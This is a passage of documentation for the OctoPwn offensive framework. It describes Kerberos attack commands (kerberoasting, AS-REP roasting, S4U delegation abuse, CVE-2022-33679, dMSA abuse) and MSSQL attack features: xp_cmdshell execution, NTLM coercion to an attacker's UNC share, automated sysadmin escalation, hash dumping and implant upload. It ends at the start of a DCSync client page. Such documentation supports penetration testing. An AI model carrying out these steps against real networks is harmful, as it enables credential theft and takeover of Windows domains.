modules. The `source` field is set to the producing command name, which makes the output trivial to filter and audit later. | Command | Stored as | Source tag | | ----------------- | ---------------------- | ---------------- | | `tgt` | `kirbib64` | `tgt` | | `tgs` | `kirbib64` *(see [Limitations](#limitations-gotchas))* | `tgs` | | `s4uself` | `kirbib64` | `s4uself` | | `s4uproxy` | `kirbib64` | `s4uproxy` | | `dmsa` | `kirbib64` (+ `NT` / `AES128` / `AES256` for previous keys) | `dmsa` | | `kerberoast` | `KERBEROAST` ($krb5tgs hashcat string) | `kerberoast` | | `asreproast` | `ASREPROAST` ($krb5asrep hashcat string) | `asreproast` | | `nt` | `NT` | `nt` | | `cve202233679` | `kirbib64` | `cve202233679` | | `changepassword` | `password` | `changepassword` | `kirbib64` credentials produced by `tgt`, `s4uself`, `s4uproxy`, `dmsa` and `cve202233679` are immediately usable to authenticate other client sessions (SMB, LDAP, …) — pick auth protocol **Kerberos** and the kirbi credential. `tgs` is the exception, see below. --- ## Prerequisites Kerberos is unforgiving about misconfiguration — getting the basics right up front saves a lot of head-scratching: 1. **Realm** — set the global realm on the main console (`realm `, e.g. `realm sevenkingdoms.local`). Used as the default domain for SPN parsing. 2. **DC IP** — the session's target must be the KDC. If you only have a hostname, set up a DNS resolver first. 3. **DNS resolver** — name resolution must reach the domain's DNS or you'll see `KDC_ERR_S_PRINCIPAL_UNKNOWN` on perfectly valid SPNs. See the [DNS Client](dns.md#wiring-it-up-as-the-global-resolver) page for how to wire one up as the global resolver. 4. **Time skew** — Kerberos rejects requests when client clock skew exceeds 5 minutes. If `tgt` fails with `KRB_AP_ERR_SKEW`, check the DC's time first — the [NTP Client](ntp.md) is the fastest way. 5. **Credential** — a credential bound to the session is required for everything except `asreproast` (target user(s) only) and `cve202233679` (any session, the credential's *user* needs `DONT_REQUIRE_PREAUTH`). --- ## Commands The console groups its commands into five categories that map onto how you'll actually use them: ticket plumbing and the lone admin action (`BASIC`), offline-crackable hash extraction (`ROAST`), certificate-based recovery (`PKI`), named CVEs / exploits (`ATTACKS`), and the standalone Badsuccessor primitive (`DMSA`). ### BASIC #### tgt Requests a TGT for the credential bound to this session and prints it as a base64-encoded kirbi. The ticket is also persisted as a `kirbib64` credential, so you can immediately use it as the credential for an SMB / LDAP / WinRM / … session. The encryption type is negotiated automatically — by default the client offers `23,17,18` (RC4-HMAC, AES128, AES256) and the KDC picks the strongest mutually supported one. Override with `etype` if you need to coerce a specific encryption type, e.g. when probing for `KDC_ERR_ETYPE_NOTSUPP`. ##### Parameters - **etype** *(optional)*: A single Kerberos encryption type number to force. Common values: `23` (RC4-HMAC), `17` (AES128-CTS-HMAC-SHA1-96), `18` (AES256-CTS-HMAC-SHA1-96). When omitted, the client offers all three. !!! tip "Using the kirbi outside OctoPwn" If you want to feed the ticket to an Impacket-flavoured tool, convert it with the [`minikerberos-kirbi2ccache`](https://github.com/skelsec/minikerberos) helper — feed it the base64 kirbi printed to the console. #### tgs Requests a service ticket (TGS) for a given SPN. Prints the kirbi to the console and stores it as a `kirbib64` credential. ##### Parameters - **spn**: The target SPN. Two forms are accepted: - SPN form: `service/host@domain`, e.g. `cifs/dc01.sevenkingdoms.local@sevenkingdoms.local` or `mssql/srv-sql01@sevenkingdoms.local`. Use the LDAP client's [`machine`](ldap.md) command and inspect the `servicePrincipalName` attribute to find valid SPNs. - User form: `user@domain` — useful when you want to roast a specific service account by name without first looking up its SPN. !!! warning "TGS credentials are not yet usable for authentication" Unlike a `tgt`, the kirbi produced by `tgs` is stored in the Credentials Window for inspection / export but **OctoPwn cannot currently consume it as the credential of another session** — that wiring is on the to-do list. For now, export the kirbi and feed it to an external tool. Use `tgt` if you need a Kerberos credential to authenticate further sessions inside OctoPwn. #### s4uself S4U2self lets a service request a Kerberos service ticket *to itself, on behalf of any user*, without that user ever being involved. Combined with constrained delegation it's the canonical primitive for impersonating a high-value user; on its own it's also enough to turn a captured **machine-account TGT** into a usable shell on that machine. The classic operator scenario: you obtained a TGT for a machine account `WKSTN-2$` (e.g. via unconstrained delegation coercion). A machine account can't remote-admin itself directly, but it *can* ask the KDC for a forwardable ticket "to itself, as Domain Admin" via S4U2self — and the resulting ticket lets you authenticate to that machine as Domain Admin. Same trick works against any host whose machine TGT you can lay hands on. ##### Parameters - **targetuser**: The user to impersonate, in `user@domain` form, e.g. `Administrator@sevenkingdoms.local`. The session credential is the *service* asking; this parameter is the *user* it's pretending to act for. #### s4uproxy S4U2proxy is the second half of constrained-delegation abuse: given a forwardable service ticket obtained via S4U2self, request access to a *different* service on behalf of the same user. The session credential must own a service account that's been configured with constrained delegation (the SPNs it can delegate to live in `msDS-AllowedToDelegateTo` — the LDAP client's `unconstrained` / `constrained` / `s4u2proxy` analysis commands will surface them). Typical chain: `s4uself ` to grab the forwardable ticket → `s4uproxy ` to pivot onto the downstream service as that user. The result is a usable kirbi credential for the downstream SPN. ##### Parameters - **spn**: The downstream service SPN you want to access, in `service/host@domain` form (e.g. `cifs/file01.sevenkingdoms.local@sevenkingdoms.local`). - **targetuser**: The user being impersonated, in `user@domain` form (e.g. `Administrator@sevenkingdoms.local`). !!! warning "SPN format matters" A `not enough values to unpack` exception almost always means the SPN was passed in the wrong form. The downstream SPN must be `service/host@domain`; passing a bare `user@domain` here will fail. #### changepassword Performs a Kerberos **KPASSWD** password change for the current session's user. On success, the new password is persisted as a fresh `password` credential (so you don't lose access to the account if you needed the old credential for something else first). ##### Parameters - **newpassword**: The new password to set. - **hostname** *(optional)*: Override the KPASSWD server hostname. Leave empty to let `minikerberos` pick the KDC of the session target — usually correct. --- ### ROAST #### kerberoast Performs the **Kerberoasting** attack — request TGS tickets for one or more service accounts and print them as `$krb5tgs$…` hashcat strings ready for offline cracking. Every result is also added to the Credentials Window with type `KERBEROAST`. The command accepts three input modes that each unlock a different workflow: - **Single user** (`spn` is a `samAccountName@domain` string, e.g. `mssqlsvc@sevenkingdoms.local`) — roast exactly that account using the credential bound to the session. - **LDAP session ID** (`spn` is an integer matching an active LDAP/LDAPS client session) — the LDAP client is queried for *every* service account (via `get_all_service_users`) and they're all roasted in one pass. This is the usual way to run a domain-wide kerberoast. - **No credential bound to the session** — the request is delegated to the local Kerberos stack: SSPI on a Windows native build, or wsnet's auth bridge in the browser. Useful when you have an interactive Windows session but no separately stored credential. Vulnengine integration is automatic: every roastable account is also fed through `check_vulnerability` so the run shows up in the Vulnerabilities view. ##### Parameters - **spn**: Either `samAccountName@domain`, or the session ID (integer) of an active LDAP client. - **crossdomain** *(optional)*: Set to `True` if the target service account lives in a different domain than your session credential — the client will fetch a referral ticket first. Default `False`. - **etype_tgt** *(optional)*: Encryption types to offer when requesting the TGT. Default `23,17,18`. - **etype_tgs** *(optional)*: Encryption type to request for the resulting TGS. Default **`23`** (RC4-HMAC) — the form most service accounts will issue and the easiest to crack offline. Set to `17` or `18` if RC4 is disabled in the domain. #### asreproast Performs the **AS-REP Roasting** attack — for any user with `DONT_REQUIRE_PREAUTH` set on their `userAccountControl`, the KDC will hand out an AS-REP message encrypted with a key derived from the user's password, with no pre-auth challenge first. Crackable offline as `$krb5asrep$…`. No credential is required to run this attack — the session just needs a target (the KDC). The same two input modes as `kerberoast` apply: - **Single user**: pass `samAccountName@domain`. - **LDAP session ID**: pass an integer; the LDAP client enumerates every user with `DONT_REQUIRE_PREAUTH` set (via `get_all_knoreq_users`) and all are roasted in one pass. ##### Parameters - **user**: Either `samAccountName@domain`, or the session ID (integer) of an active LDAP client for a domain-wide sweep. --- ### PKI #### nt Recovers the NT hash of the current session's user from the PAC of a PKINIT-issued TGT — the standard "UnPAC-the-Hash" trick. Only works when the session was created with a **certificate-based credential** (auth protocol `P12`); for any other credential type you'll get `'AIOKerberosClient' object has no attribute 'get_NT_from_PAC'`. This is the obvious follow-up to AD CS abuse (ESC1 / ESC8 / Certifried / …) — once you've forged or coerced a certificate for a user, `nt` turns it into the user's actual NT hash, which is far more flexible (Kerberos pre-auth, NTLM, pass-the-hash to non-AD services, …). ##### Parameters None — operates on the session's bound credential. --- ### ATTACKS #### cve202233679 Performs the **CVE-2022-33679** Kerberos exploit — abuses RC4-MD4 keystream reuse against an account with `DONT_REQUIRE_PREAUTH` to recover a *usable* TGT for that account, no password required. This command takes **no arguments**. It runs against the credential bound to the current session — that credential must reference a user with `DONT_REQUIRE_PREAUTH` set, but you don't need to know their password. Create the Kerberos client session using just the username (any AS-REP-roastable user will do), then run `cve202233679`. The resulting TGT is printed as a kirbi and persisted as a credential, ready to use for further authentication. The implementation guesses one byte of the RC4-MD4 keystream at a time by replaying crafted AS-REQs and checking which guess avoids the `KDC_ERR_PREAUTH_FAILED` response. It chats a lot — the console prints each step (`FETCHING TGT`, `PARTIAL KEYSTREAM`, `VERIFYING KEYSTREAM`, byte-by-byte progress) so you can follow along. ##### Parameters None — uses the session's bound credential. --- ### DMSA #### dmsa Performs the **Badsuccessor** attack against a delegated Managed Service Account (dMSA). The session credential is used to request a service ticket via the dMSA migration path, which yields a valid kirbi for `targetuser`. When `linkeduser` is supplied, the previous-key material embedded in the response (RC4 / AES128 / AES256) is also unpacked and persisted as separate `NT` / `AES128` / `AES256` credentials for that user — typically the high-value account whose keys you're after. This command is the **Kerberos-side step** of the attack. The discovery and weaponisation happen in the LDAP client first — `badsuccessor_check` to find an exploitable dMSA in the domain, `dmsas` to list them, `create_broken_dmsa_user` / `dmsaaddmanagedaccountprecededbylink` / `dmsasetdelegatedmsastate` to set one up. Run those first, then come back here with the resulting target / linked user. ##### Parameters - **targetuser**: The dMSA principal to ticket, in `user@domain` form. - **linkeduser**: The user whose previous-key material should be unpacked, in `user@domain` form. Optional but practically required — without it you only get a TGS, not the hashes you came for. --- ## Limitations & gotchas - **TGS credentials cannot yet be used for authentication inside OctoPwn.** `tgs` produces and persists a kirbi, but other client sessions can't currently consume it as their credential. Use `tgt` for in-framework re-authentication; export the `tgs` kirbi (and convert with `minikerberos-kirbi2ccache` if needed) for use with external tooling. This is a known to-do. - **Some commands have no SSPI / WSNET fallback.** `tgt`, `tgs`, `s4uself`, `s4uproxy`, `nt`, `dmsa`, `changepassword` all require a credential explicitly bound to the session — they won't fall back to the operating system's Kerberos stack. - **Cross-domain roasting needs a TGT-capable credential.** `kerberoast crossdomain=True` requests a referral ticket via your session's TGT, so the SSPI / WSNET (no-credential) path doesn't support it. - **`nt` requires a P12 (certificate) credential.** Other credential types will throw `'AIOKerberosClient' object has no attribute 'get_NT_from_PAC'`. - **`cve202233679` is loud and slow.** It issues hundreds of AS-REQs to recover keystream bytes; expect noticeable noise in DC logs. Not a stealth tool. --- # [Clients] MSSQL Source: https://docs.octopwn.com/plugins/clients/mssql.html # MSSQL Client The **MSSQL Client** is OctoPwn's interactive interface for Microsoft SQL Server. It speaks the TDS protocol (the same one `sqlcmd` and SSMS use) and gives you the standard SQL toolset — running queries, navigating databases and tables — plus a heavy battery of offensive capabilities: linked-server pivoting, `xp_cmdshell` execution, OLE-automation file transfer, NTLM coercion, dump-the-hashes, and an automated impersonation-graph privilege escalation engine. --- ## Transport There are **two transports** for the same underlying client: | Module name | Transport | Default port | Use it when | | ----------- | --------------------- | ------------ | --------------------------------------------------------------------- | | `MSSQL` | TCP (TDS) | `1433` | The SQL Server is reachable over TCP — the normal case. | | `MSSQLPIPE` | TDS over SMB **named pipe** | `445` (SMB) + a named pipe | TCP to the SQL Server is blocked or not exposed, but you can reach the host over SMB. | Functionally the two are **100% identical** — every command on this page works on both. The only differences are at session-creation time: `MSSQLPIPE` requires a `PIPENAME` parameter (typically `sql\query` for the default instance, or `MSSQL$\sql\query` for named instances) and an SMB credential context (`SMBCREDID` / `SMBATYPE`) so the inner SMB connection can authenticate before the TDS handshake takes place over the pipe. --- ## Authentication MSSQL has historically used **two unrelated authentication models** and OctoPwn exposes both. Picking the wrong one is the single most common reason a session fails to log in, so it is worth taking a moment to get this right. ### `PLAIN` — SQL Server logins (the old "SQL authentication") Use this when the credential you are presenting is a **SQL Server login**, not a Windows / Active Directory account. Classic examples: `sa`, `dbadmin`, `webapp_user`, or any account that lives **inside** SQL Server's own `master.sys.sql_logins` table and was created with `CREATE LOGIN ... WITH PASSWORD = '...'`. | Secret type | Description | | ----------- | ----------------------------------------------------- | | `password` | Cleartext SQL login password. | | `none` | Empty / no password (rarely accepted by real servers). | !!! warning "`PLAIN` does NOT do NTLM or Kerberos" `PLAIN` corresponds to the legacy "SQL Authentication" (sometimes called "Mixed Mode"). It carries the username and password verbatim inside the TDS login record. It will **not** work with NT hashes, Kerberos tickets, or anything else from the AD credential family — for those, pick `NTLM` or `KERBEROS` instead. ### `NTLM` — Domain accounts via NTLM SSP Use this when the credential is a **Windows / domain account** (`DOMAIN\user`, `user@domain.local`) and you want NTLM to negotiate the authentication. | Secret type | Description | | --------------- | ----------------------------------------------------------- | | `password` | Cleartext password. | | `pwhex` | Hex-encoded UTF-16LE password. | | `nt` / `rc4` | NT hash (pass-the-hash). | | `agentproxy` | Remote NTLM signer over the wsnet agent proxy. | | `sspiproxy` | OS SSPI session via the wsnet agent proxy (Windows agent). | ### `KERBEROS` — Domain accounts via Kerberos Use this when the credential is a Windows / domain account and you want or need a Kerberos ticket. This is the only auth choice if the SQL Server is configured to require Kerberos (`ALTER SERVER CONFIGURATION SET … LOGIN MODE = KERBEROS_AUTHENTICATION_ONLY`). | Secret type | Description | Example | | --------------- | ----------------------------------------------------------- | ------------------------------------ | | `password` | Cleartext password. | `user:Pa55w0rd!` | | `pwhex` | Hex-encoded UTF-16LE password. | `user:70617373…` | | `nt` / `rc4` | NT/RC4 hash. | `user:aad3b…` | | `aes128` | AES128 long-term key. | `user:<32-hex>` | | `aes256` | AES256 long-term key. | `user:<64-hex>` | | `keytab` | Keytab file in OctoPwn volatile storage. | `/browserfs/volatile/svc.keytab` | | `keytabb64` | Base64-encoded keytab inline. | `user:` | | `ccache` | MIT ccache file in OctoPwn volatile storage. | `/browserfs/volatile/krb5cc.ccache` | | `ccacheb64` | Base64-encoded ccache inline. | `user:` | | `kirbi` | `.kirbi` ticket file (Rubeus-style). | `/browserfs/volatile/admin.kirbi` | | `kirbib64` | Base64-encoded `.kirbi` inline. | `user:` | | `pfxb64` | Base64-encoded PFX (PKINIT certificate auth). | `user:` | | `agentproxy` | Remote KDC over the wsnet agent proxy. | n/a | | `sspiproxy` | OS SSPI session via wsnet agent proxy (Windows agent). | n/a | !!! tip "Picking the right `atype` at a glance" | The username looks like… | Pick this `atype` | | ------------------------------------ | ------------------------------ | | `sa`, `dbadmin`, `webapp_user`, `internal_etl_user` (no domain prefix, exists inside SQL Server) | `PLAIN` | | `CONTOSO\jdoe`, `jdoe@contoso.local`, any AD user that maps to `[CONTOSO\jdoe]` server principal | `NTLM` or `KERBEROS` | | A Windows machine account (`CONTOSO\HOST$`) | `NTLM` or `KERBEROS` | --- ## GUI experience — the SQL Browser The MSSQL session window opens on the **SQL Browser** tab by default and is a complete frontend for the database, not a glorified terminal. If you have used SSMS or DBeaver this will feel familiar. ### Layout - **Left sidebar — Quick Queries**: pre-baked one-click queries for the most common reconnaissance steps — *List Databases*, *Server Version*, *Server Properties*, *Current User*, *Active Connections*. Click one and it loads into the editor; press **Execute** (or `Ctrl+Enter`) to run it. - **Left sidebar — Database tree**: every database on the server is listed and individually expandable. Expanding a database lazy-loads its tables (with row counts via `sys.tables` ⨯ `sys.partitions`); clicking a table populates the editor with `USE [db]; SELECT TOP 100 * FROM [table];` so you can preview it immediately. - **Main pane — Monaco SQL editor**: the same editor as VS Code, with SQL syntax highlighting, line numbers, and `Ctrl+Enter` to execute. A **History** dropdown remembers the last 20 queries with their execution time and row count for one-click re-run; **Clear** resets the editor. - **Main pane — Results grid**: paginated table view (100 rows per page) with sticky headers, NULL highlighting, and one-click **Export TSV** / **Export JSON** of the full result set. Execution time and row count appear next to the title; PRINT / RAISERROR output and TDS errors are surfaced via the console toaster so you don't lose them. - **Footer console drawer**: an always-available collapsible terminal drawer (drag-resizable) that mirrors all CLI commands, returned text, and server-side `PRINT` / informational messages. You can also type any of the CLI commands documented below directly into it. ### Other tabs in the session window - **Commands** — clickable buttons for every CLI command, grouped by category. Useful when you want to run something like `dumphashes` without remembering the exact name. - **Jobs** — long-running background commands and a stop button. - **History** — full command history for the session. - **Settings** / **Debug** — connection parameters and protocol-level debug output. !!! warning "The browser warns you about destructive queries" `UPDATE` / `DELETE` statements that lack a `WHERE` clause raise an explicit warning in the toaster before they are sent to the server, but **do not block execution**. There is no transaction wrapping by the browser. --- ## Commands The CLI surface is organized into the same groups you see in `help`. Every command also returns a structured result for scripting consumption (typically a JSON-serialised cursor); the `to_print` argument controls whether the human-readable form is also written to the console. ### CONNECTION #### login Opens the TDS connection (over TCP for `MSSQL`, over the SMB pipe for `MSSQLPIPE`), performs the authentication exchange selected by the session's `atype`, and starts a connection-monitor task that auto-fires `logout` if the server drops the connection. After login the prompt is updated to `[@]:$` so you always know who you are and where you are. #### logout Disconnects the TDS session, cancels the connection monitor, and resets internal state (the linked-server chain in particular). Always returns the prompt to the disconnected state, even on error. --- ### QUERY #### query Sends a raw T-SQL statement to the server and prints the result through `tabulate`. If a [`uselink`](#uselink) chain is active, the query is automatically wrapped in nested `EXEC ('…') AT [linked_server]` calls so that it executes on the deepest server in the chain. ##### Parameters - **sql**: The T-SQL statement (or batch — `;`-separated statements work). - **to_print** *(optional, bool, default `True`)*: Whether to print the formatted result table. #### queryfile Reads a `.sql` file from the OctoPwn volatile filesystem and executes its contents as a single batch. Useful for canned recon scripts. Path follows the standard OctoPwn workdir conventions. ##### Parameters - **file**: Path to the SQL file. --- ### ENUM A curated set of recon queries against `sys.*` views. All of them honour the active linked-server chain so they can be used to enumerate any server reachable through one or more hops. | Command | What it returns | | ----------------- | ---------------------------------------------------------------------------------------------------- | | `enumdatabases` | All databases plus their `is_trustworthy_on` flag (relevant for [PRIVESC](#privesc)). | | `enumlogins` | All server-level principals from `sys.server_principals` joined with `syslogins` to surface server-role memberships (`sysadmin`, `securityadmin`, `serveradmin`, `setupadmin`, `processadmin`, `diskadmin`, `dbcreator`, `bulkadmin`). | | `enumusers` | All database users in the current database via `sys.sysusers`, with each user's mapped server login. | | `enumusers2` | Same target as `enumusers` but using `EXEC sp_helpuser` instead — different output shape, sometimes more readable. | | `enumtables` | All tables across all online user databases (excluding `master`, `model`, `msdb`, `tempdb`). | | `enumowner` | Databases and the login that owns each one — a quick `db_owner` ⇒ `sysadmin` chain search. | | `enumimpersonate` | All `IMPERSONATE` permissions visible at both database and server level. Pre-cursor for [PRIVESC](#privesc). | | `enumlinks` | All linked servers (`sp_linkedservers`) and their stored credential mappings (`sp_helplinkedsrvlogin`). The basis for [`uselink`](#uselink) pivoting. | | `ridbrute` | Brute-forces RIDs (default 0–4000) against the SQL Server's domain to enumerate domain principals via `SUSER_SNAME(SID_BINARY(...))`. **Requires** the SQL Server to be domain-joined. Optional `max_rid` argument. | ##### Parameters (all `enum*` commands except `ridbrute`) - *(none — they take no arguments)* ##### `ridbrute` parameters - **maxrid** *(optional, int, default `4000`)*: Highest RID to test. Higher values find more accounts at the cost of more queries. --- ### FORMAT Formatting and output-redirection knobs for the current session. None of these touch the server. #### settableformat Changes how query results are rendered to the console. Accepts any format name supported by Python's `tabulate` library (`grid`, `plain`, `simple`, `github`, `fancy_grid`, `psql`, `html`, `latex`, etc.). An invalid value lists all valid names instead of changing anything. ##### Parameters - **tablefmt**: The format name. #### gettableformat Prints the currently active table format. #### showquery / hidequery Toggle whether each `query` echoes the literal SQL text it is about to send (useful when debugging the linked-server chain wrapping). Defaults to hidden. #### setfileout Redirects future query output to a file in the OctoPwn volatile filesystem. The full `tabulate`-rendered result is written verbatim instead of being printed to the console. One file per `query` invocation — the file is overwritten each time. ##### Parameters - **file**: Path to the output file. #### showfileout Prints the currently configured output file path (or `None`). #### clearfileout Disables the file-output redirection — query output goes back to the console. --- ### IMPERSONATE `EXECUTE AS` helpers. After running one of these, every subsequent `query` runs in the impersonated context until you `REVERT` (which you can do with a manual `query "REVERT;"`). #### executeasuser Issues `EXECUTE AS USER = ''` — switches to a database user. The user must exist in the current database and the session must hold `IMPERSONATE` on that user. ##### Parameters - **user**: Database user name to impersonate. #### executeaslogin Issues `EXECUTE AS LOGIN = ''` — switches to a server login. The login must exist on the server and the session must hold server-level `IMPERSONATE` on that login. ##### Parameters - **user**: Server login name to impersonate. !!! info "Inside an active link chain" When a [`uselink`](#uselink) chain is active, `executeasuser` / `executeaslogin` do **not** send their statement to the server — they update the `EXEC (' ') AT ` wrapper used for the deepest hop, so subsequent queries impersonate the given principal **on the linked server** instead. --- ### LINK Pivot through MSSQL **linked servers** — a built-in DBA feature that maps another SQL Server (or any OLE-DB source) to a name and lets you run queries against it via `EXEC ('…') AT [server]`. OctoPwn lets you nest the wrappers so a single query reaches an arbitrary depth of pivots. #### uselink Pushes a linked server onto the chain. Subsequent queries are wrapped in `EXEC` calls that route them through every server on the chain in order. Two special arguments reset the chain: - `uselink localhost` — pop the entire chain, queries run locally again. - `uselink ..` — pop just the deepest hop. ##### Parameters - **server**: Linked-server name (as shown by `enumlinks` in the [ENUM](#enum) group), `localhost`, or `..`. #### execonlink One-shot version of [`uselink`](#uselink) — runs a single SQL statement on a named linked server without altering the active chain. ##### Parameters - **server**: Linked-server name. - **sql**: The T-SQL statement to run on the linked server. #### xpcmdshellonlink Convenience wrapper for `EXEC ('xp_cmdshell ''''') AT [server]` — runs an OS command on a linked server without changing the active chain. Requires `xp_cmdshell` to be enabled on that linked server (you can use [`enablexpcmdshell`](#enablexpcmdshell) via [`uselink`](#uselink) first). ##### Parameters - **server**: Linked-server name. - **command**: The OS command to run via `xp_cmdshell`. --- ### FILE Remote filesystem helpers using SQL Server's built-in extended stored procedures and OLE Automation. Most of these need `sysadmin` or specific extended-procedure permissions. #### xpdirtree Recursive directory listing via `xp_dirtree`. Famously useful for **NTLM coercion** — pointing it at a UNC path (`\\attacker\share`) makes the SQL Server account authenticate to the listener. Listed here for the local case; for the coercion-only case there is the dedicated [`coerce`](#coerce) command. ##### Parameters - **path**: Local path or UNC path. #### xpfileexist Checks whether a single file or directory exists on the SQL Server using `xp_fileexist`. Returns and prints a friendly `File EXISTS` / `does NOT exist` line. ##### Parameters - **path**: Local or UNC path. #### putfile Uploads a local file to the SQL Server's filesystem via OLE Automation (`sp_OACreate ADODB.Stream`). Auto-enables the *Ole Automation Procedures* server-level configuration (which is normally off by default). After the upload it issues an `xp_fileexist` check and reports the verification result. ##### Parameters - **localpath**: Path to the local file. - **remotepath**: Destination path on the SQL Server (Windows-style, e.g. `C:\Windows\Temp\implant.exe`). !!! warning "Requires `sysadmin` and is loud" OLE Automation Procedures are off by default and turning them on requires `sysadmin`. The setting is left **enabled** after the upload — re-disable it with `query "EXEC master.dbo.sp_configure 'Ole Automation Procedures', 0; RECONFIGURE;"` if you care about leaving things as you found them. The whole sequence is also a well-known IDS / EDR pattern. #### getfile Downloads a file from the SQL Server using `OPENROWSET(BULK …, SINGLE_BLOB)`. Returns the binary contents and writes them to the given local path. ##### Parameters - **remotepath**: Source path on the SQL Server. - **localpath**: Destination path in the OctoPwn volatile filesystem. !!! warning "Requires `BULK` permission (typically `sysadmin`)" `OPENROWSET BULK` requires either `sysadmin` or the `ADMINISTER BULK OPERATIONS` server permission. Without it the read fails with a permission error. --- ### CMD OS command execution and the configuration knobs around it. #### xpcmdshell Runs an OS command on the SQL Server via the legendary `xp_cmdshell` extended stored procedure. Requires `xp_cmdshell` to be enabled at the server level — see [`enablexpcmdshell`](#enablexpcmdshell). ##### Parameters - **command**: The OS command to execute (`whoami`, `powershell -enc `, etc.). #### enablexpcmdshell Turns on `xp_cmdshell` server-wide by calling `sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;`. Requires `sysadmin`. #### disablexpcmdshell The mirror image of `enablexpcmdshell` — turns it off again. Run this when you're done. #### checkadmin Checks whether the current effective principal is a member of the `sysadmin` server role (`SELECT IS_SRVROLEMEMBER('sysadmin')`). Useful right after [`uselink`](#uselink) or `EXECUTE AS` to know whether you can call the destructive commands. --- ### COERCE Forces the SQL Server's service account to authenticate to a host you control over UNC, capturing the resulting NTLM exchange (or relaying it). The command iterates through a curated catalog of T-SQL statements that touch UNC paths in different ways — different statements are blocked by different permission checks, so trying multiple modules increases the odds of getting at least one auth attempt out. #### coerce Iterates the chosen module(s) and reports per-statement success / failure. Even one accepted statement is enough to land an NTLM hash on your listener. ##### Modules - `fileaccess` — `xp_dirtree`, `xp_fileexist`, `xp_subdirs`, `sys.dm_os_file_exists`. **Works without sysadmin in many configurations** — try this one first. - `backup` — `BACKUP` and `RESTORE` to a UNC `DISK = '\\…'`. Needs DB-level permissions on a target database; the bundled set uses `[TESTING]` — adjust to a database you can actually access if needed. - `bulk` — `BULK INSERT`, `OPENROWSET`, `OPENDATASOURCE`. Needs `ADMINISTER BULK OPERATIONS` or `sysadmin`. - `crypto` — `CREATE ASSEMBLY`, `CREATE CERTIFICATE … FROM EXECUTABLE FILE`, `BACKUP MASTER KEY`, etc. Needs `CONTROL SERVER` for some, `db_owner` for others. - `audit` — `sys.fn_xe_file_target_read_file`, `fn_get_audit_file`, `fn_trace_gettable`, `CREATE SERVER AUDIT`. Mostly `sysadmin`. - `misc` — exotic ones: `DBCC checkprimaryfile`, `CREATE CRYPTOGRAPHIC PROVIDER`, `CREATE EXTERNAL FILE FORMAT`, `xp_cmdshell 'dir …'`, `fn_dump_dblog`. - `all` — runs every module above in sequence. ##### Parameters - **target**: The host (or IP) to coerce the SQL Server to authenticate to. Used as `\\\share` in every statement. - **module** *(optional, str, default `all`)*: One of the module names above, or `all`. !!! tip "Set up the listener first" Start a relay server — typically [`RELAYSMB`](../servers/relaysmb.md) for the SMB-bound auth that `xp_dirtree` & friends produce, or [`RELAYMSSQL`](../servers/relaymssql.md) if you intend to chain to another SQL Server — and/or the [Spoofer](../servers/spoofer.md) (LLMNR / mDNS / NBT-NS poisoning), on `target` **before** running `coerce`, otherwise the captured authentication will be lost. --- ### PRIVESC Automated `sysadmin` escalation: builds a graph of who-can-impersonate-whom and who-owns-what, walks it for a path that ends in either `sysadmin` or `db_owner` on a `TRUSTWORTHY` database whose owner is `sysadmin`, and (when the operator says go) exploits it. Cleanup is automatic but optional. #### enumpriv Builds the impersonation graph and reports the discovered escalation path (if any). Caches the chosen target so the `privesc` command (below) can exploit it without recomputing. Two exploitation methods are recognised: 1. **Impersonation chain** — there exists a sequence `current_user → grantor_1 → … → grantor_n` where `grantor_n` is `sysadmin` and each step has `IMPERSONATE` on the next. The chain is encoded as a series of `EXECUTE AS LOGIN` statements followed by `EXEC sp_addsrvrolemember , 'sysadmin'`. 2. **TRUSTWORTHY db_owner** — the current user (or someone reachable via impersonation) is `db_owner` of a database whose `is_trustworthy_on = 1` and whose owner is a `sysadmin`. A stored procedure with `WITH EXECUTE AS OWNER` runs `sp_addsrvrolemember` at sysadmin level inside that database. #### privesc Exploits the path cached by [`enumpriv`](#enumpriv). After the call, re-checks whether the current user is now `sysadmin` and reports success or failure. **Run [`enumpriv`](#enumpriv) first** — `privesc` refuses to run with no cached path. #### privescrollback Removes the `sysadmin` server role from the current user via `sp_dropsrvrolemember`, then re-checks. Run this after you're done — leaving the role in place is the kind of thing that gets noticed. --- ### DUMP #### dumphashes Reads the password-hash column from `master..sysxlogins` (legacy) or `master.sys.sql_logins` (modern), classifies each hash by prefix (`MSSQL-1731` / `MSSQL-132` / `MSSQL-131`), and stores them as credentials in the OctoPwn credential store for offline cracking with hashcat or similar. Requires `sysadmin`. Returned hashes correspond to **SQL Server logins** — they can later be replayed against MSSQL with `PLAIN` auth, or cracked to recover the cleartext password. --- ## Limitations - **Pick the right `atype`.** `PLAIN` is for SQL Server logins (`sa`, `dbadmin`, …); `NTLM` / `KERBEROS` is for AD accounts. Mixing them up is the most common source of "login failed for user". - **`MSSQLPIPE` needs SMB.** If both TCP/1433 and SMB/445 are blocked, you cannot reach the server from this client at all. - **`enumtables` skips `master`, `model`, `msdb`, `tempdb`.** Query them via `query` directly if you actually need them. - **`ridbrute` needs a domain-joined SQL Server.** `DEFAULT_DOMAIN()` returning empty / NULL means the server is in a workgroup or the principal cannot read its domain — the command bails out with an explanatory message. - **`putfile` leaves *Ole Automation Procedures* enabled.** It is turned on automatically and never turned off again. Reset it manually if cleanliness matters. - **`getfile` requires `BULK` permission**, typically `sysadmin` — without it, the read fails with a permission error. - **`xp_cmdshell` is disabled by default on modern SQL Server.** Run [`enablexpcmdshell`](#enablexpcmdshell) before `xpcmdshell` (and remember to [`disablexpcmdshell`](#disablexpcmdshell) when done). - **`coerce` is loud.** Each statement is a fingerprintable pattern (`UNC` paths in `xp_dirtree`, `BACKUP DATABASE TO DISK = '\\…'`, …). Use it deliberately. - **`privesc` modifies `sysadmin` membership and may create a stored procedure.** It tries to clean up after itself, but a network glitch in the middle leaves residue. Always pair it with [`privescrollback`](#privescrollback). - **No transaction wrapping.** Neither the SQL Browser nor the CLI wraps queries in transactions — `BEGIN TRANSACTION` / `ROLLBACK` is the operator's responsibility. --- # [Clients] DCEDRSUAPI Source: https://docs.octopwn.com/plugins/clients/dcedrsuapi.html # DCEDRSUAPI Client The **DCEDRSUAPI Client** performs **DCSync** — extracting an account's secrets (NT hash, LM hash, Kerberos keys, password history, supplemental credentials) from a Domain Controller — by speaking the Directory Replication Service Remote Protocol (`MS-DRSR`, "DRSUAPI") directly to the DC. It targets one specific account at a time and is intentionally narrow in scope. The same DCSync capability also exists on the [SMB client](./smb.md) and is the more common entry point for broader workflows (whole-realm dumps, automated user enumeration, etc.). The DCEDRSUAPI client is the focused alternative for cases where a single account's credentials are all that's 